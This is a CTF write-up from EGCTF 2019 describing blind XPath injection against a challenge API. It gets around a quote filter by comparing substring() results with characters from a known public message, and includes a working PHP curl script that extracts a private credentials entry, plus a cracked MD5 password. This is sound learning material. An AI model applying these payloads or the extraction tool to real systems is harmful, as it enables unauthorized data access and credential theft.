Today I am going to disclose the write-up of one of the most interesting challenges I have been playing recently together with my teammates in the EGCTF 2019.
The challenge was amazing and really challenging, it was only solved twice by our team and another team and today I add the full write up.
OK, let’s start.
Reconnaissance Phase
Once I launched the challenge, I see the following:
I tried to launch many bypass authentication payloads like ‘ or 1=1– and similar payloads but all my attempts failed.
Launching verb tampering attacks to bypass the firewall also resulted in a dead-end, at that point I decided to extend my recon phase, so I launched Dirbuster to search if there are more hidden endpoints and I clearly noticed a newly discovered endpoint.
Assessment phase
Now a new hidden endpoint is discovered which is “api.php”, by opening the page we can observe the following.
OK, no need this time for brute-forcing the acceptable parameters as the page itself printed the needed parameter which is ‘msgid’.
I added ‘msgid’ parameter in the GET request and I was able to observe the following.
Cool enough, I started different types of SQL injection attacks on ‘msgid’ parameter and launched different types of SQL payloads for different database schemas, I noticed the behavior of the API is really weird as it was launching ‘and 1=1’ towards the input results in successful response while extending the attack with more SQL statements results in an error message, I even tried to manually exploit blind SQL injection but every tries results in the following error message.
1 2 3 |
Content-Type: application/json Error or message not found using : message[id=1\']{"id":"","title":"","isprivate":"","content":""} |
In the error message, I noticed that the backend is possibly using XPATH, thus, I shot an XPATH payload and sent the following to extract the next message.
OK, now it is obvious that it is an XPATH injection so we launch the following payloads to extract all the messages.
1 2 3 4 5 |
msgid=1 msgid=*][id!=1 msgid=*][id!=1][id!=10 msgid=*][id!=1][id!=10][id!=81 |
Notice that the mark ‘!=’ means not equal, therefore, I was able to discover the following messages.
1 2 3 4 |
{"id":"1","title":"subscriptions","isprivate":"0","content":"To subscribe to our secrets list message us at : admin_ctf@s3crets.local"} {"id":"10","title":"Welcome to our secrets list","isprivate":"0","content":"see? subscription was that easy!"} {"id":"81","title":"Credentials","isprivate":"1","content":"Forbidden!! You can't view the content of this private entry!"} {"id":"109","title":"Celebrating 5th anniversary","isprivate":"0","content":"We're celebrating our secrets box's 5th anniversary."} |
Please have a look at the third message regarding id:81, it is a private message and it is forbidden to view this message directly through the API endpoint because it is a private message, then we will need to do XPATH injection and retrieve the contents of this secret message.
We already know the path to the messages discovered through the printed error message which is as follow:’//message[id=81]’, that’s why I started to inject using the following payload “api.php?msgid=81][//message[content=*]” and we receive a true response. The next step is to launch a blind XPATH injection to retrieve character by character.
The headshot arrived when I sent the next payload to check the first character as I sent a payload to ask the XPATH backend if the first character of the secret message is ‘a’ or not. but I received the following error.
1 |
Error or message not found using : message[id=1 and substring(//message[id=81],1,1)=\'a\']{"id":"","title":"","isprivate":"","content":""} |
As you can see, the input is filtered against a single quote and double quotations. WHAT!!!!
Filtering any single quote and double quotations for XPATH injection is something that you really don’t want to face.
Injecting any strings or characters will result in failure because of the quotes filter in addition to using functions to encode the string or changing the result into ASCII is not an option in XPATH first version.
So we can only retrieve numbers!! but of course the flag is not only numbers.
Exploitation Phase
If you didn’t bring your coffee or smoke your cigarette yet, then please do as the challenge is about to start now.
Since we are not allowed to use a single quote or double quotations then we will use the old school technique and start to gather the data using XPATH 1.0 simple functions.
A quick search for XPATH functions that deal with strings, I landed on the following page: https://www.w3.org/TR/1999/REC-xpath-19991116/#section-String-Functions
In my scenario, I will use the substring function to compare a single character that I already know with every single character in the secret data needed to be extracted.
The contents that I will use to extract the characters needed for the blind injection attack are found in the following message for id=1
1 |
{"id":"1","title":"subscriptions","isprivate":"0","content":"To subscribe to our secrets list message us at : admin_ctf@s3crets.local"} |
Since I am able to compare each character with numbers then I will start my testcase with a number, using my burp I launched the following request in intruder:
I also added a payload list contains numbers from 1 to 150 and added the error word to be marked to be able to distinguish between the true response and the failure response. The intruder resulted in the following.
There was only one successful response which is payload 70, this indicates that the character located in position 70 in the secret message is 2.
Yes, it is an intruder attack for every single character!!.
I was able to extract all the numbers within the secret message using the same way but what about the characters!!
My idea was to extract a specific character using the same function substring and compare it with the remaining characters in the secret message using the same way.
The challenging part for me was “how to exactly know the character that I am extracting”
Don’t forget that the characters will be extracted from the contents of the first message as we mentioned before.
If we made attention to the first message we can easily identify unique numbers used only once.
1 |
{"id":"1","title":"subscriptions","isprivate":"0","content":"To subscribe to our secrets list message us at : admin_ctf@s3crets.local"} |
My idea was to retrieve the location of number 3 in the word ‘s3crets’ because it is not repeated and through it I will be able to identify the location of the remaining characters.
using the same intruder way I search for the location of number 3 in id 1, here is the request sent to the intruder.
1 |
GET /s3crets/api.php?msgid=1%20and%20substring(//message[id=1],§14§,1)=3 |
Bypassing a character by character and compare it if it is equal to 3 or not, I see the following in the intruder result.
The payload 102 was the only one that didn’t print the error, now we know that number 3 is located exactly in position 102 in the retrieved string of the content of the public message id=1
Again I will mention the string that we are extracting data from.
1 |
{"id":"1","title":"subscriptions","isprivate":"0","content":"To subscribe to our secrets list message us at : admin_ctf@s3crets.local"} |
Since 3 is in position 102 and we already know the message, that means we are able to extract any single character from the message depending on how far the needed character from 3 in position 102.
For example, if we need to extract the ‘f’ character it will be in position 99 as it is located before our number with three characters and so on.
Therefore, if we need to search for the ‘f’ character in our secret message id 81, then we will use the substring function to extract the character number 99 from the first message content and compare it with every single character in the secret message.
An example to the intruder to search for the ‘f’ character.
We compare each single character located in the secret message with the following: substring(//message[id=1],99,1) -> this will retrieve the ‘f’ character.
Adding the numbers to our payload list and here is the result.
The intruder shows that the character ‘f’ is located multiple times in positions 59,71,79,86,90 and 98.
Coding Phase
The next part is to create a list of each character and its location in the public message, using the list, I can create a tool to do the remaining job for us and scan for each character and its position in the secret message.
First I created a simple PHP tool to get all the unique characters for me and its location.
1 2 3 4 5 6 |
<?php $string=" To subscribe to our secrets list message us at : admin_ctf@s3crets.local"; $string= str_split($string); asort($string); $string=array_unique($string); print_r($string); |
Here is our list for the location of each character after launching the tool:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
[0] => [108] => . [102] => 3 [89] => : [100] => @ [42] => T [96] => _ [79] => a [52] => b [103] => c [92] => d [76] => e [99] => f [80] => g [71] => i [109] => l [93] => m [95] => n [56] => o [60] => r [68] => s [98] => t [59] => u |
Then we need to create a function that receives the location of the character needed to be extracted from the secret message and compare it with all the characters within our list and then return the correct character if found (return the character that didn’t print any error message).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
function get_character($location,$string){ foreach ($string as $key => $value) { // create curl resource $ch = curl_init(); // set url curl_setopt($ch, CURLOPT_URL, "http://209.97.133.154/s3crets/api.php?msgid=1%20and%20substring(//message[id=1],$key,1)=substring(//message[id=81],$location,1)"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // $output contains the output string $output = curl_exec($ch); // echo $output; if (trim(substr($output,0,5))!="Error")//if the character is correct { curl_close($ch);return($value); } // close curl resource to free up system resources curl_close($ch); } return '-';//return dash in-case character not found. } |
We should not forget about the numbers also, the numbers don’t need a list, just a loop.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
function get_character($location,$string){ for($i=0;$i<10;$i++) { $ch = curl_init(); // set url curl_setopt($ch, CURLOPT_URL, "http://209.97.133.154/s3crets/api.php?msgid=1%20and%20substring(//message[id=81],$location,1)=$i"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // $output contains the output string $output = curl_exec($ch); // echo $output; if (trim(substr($output,0,5))!="Error") { curl_close($ch);return($i); } } |
Combining all together in one tool to create the list, send the list to the function in addition to the location for each character one by one and then print the live results.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
<?php $string=" To subscribe to our secrets list message us at : admin_ctf@s3crets.local"; $string= str_split($string); asort($string); $string=array_unique($string); // print_r($string); for($i=0;$i<150;$i++) echo get_character($i,$string); function get_character($location,$string){ sleep(5);//to prevent server ban for($i=0;$i<10;$i++) { $ch = curl_init(); // set url curl_setopt($ch, CURLOPT_URL, "http://209.97.133.154/s3crets/api.php?msgid=1%20and%20substring(//message[id=81],$location,1)=$i"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // $output contains the output string $output = curl_exec($ch); // echo $output; if (trim(substr($output,0,5))!="Error")//if the number is correct { curl_close($ch);return($i); } curl_close($ch); } foreach ($string as $key => $value) { // create curl resource $ch = curl_init(); // set url curl_setopt($ch, CURLOPT_URL, "http://209.97.133.154/s3crets/api.php?msgid=1%20and%20substring(//message[id=1],$key,1)=substring(//message[id=81],$location,1)"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // $output contains the output string $output = curl_exec($ch); // echo $output; if (trim(substr($output,0,5))!="Error")//if the character is correct { curl_close($ch);return($value); } // close curl resource to free up system resources curl_close($ch); } return '-';//return dash if didn't find the character } |
After launching the tool
1 2 |
php list.php 0101-----81----------redentials------9014dmini5tr4t0r@egctf.secrets:42f749ade7f9e195bf475f37a44cafcb---------1 |
BINGOOOOOOOO!!!!
Now I successfully received the data content of the secret message and I can observe an email and md5 hash.
Cracking the md5 hash:
1 |
42f749ade7f9e195bf475f37a44cafcb -> Password123 |
Finally, I used the credentials to login to the main page.
I really forgot all the pain after hitting the 400 points for my team.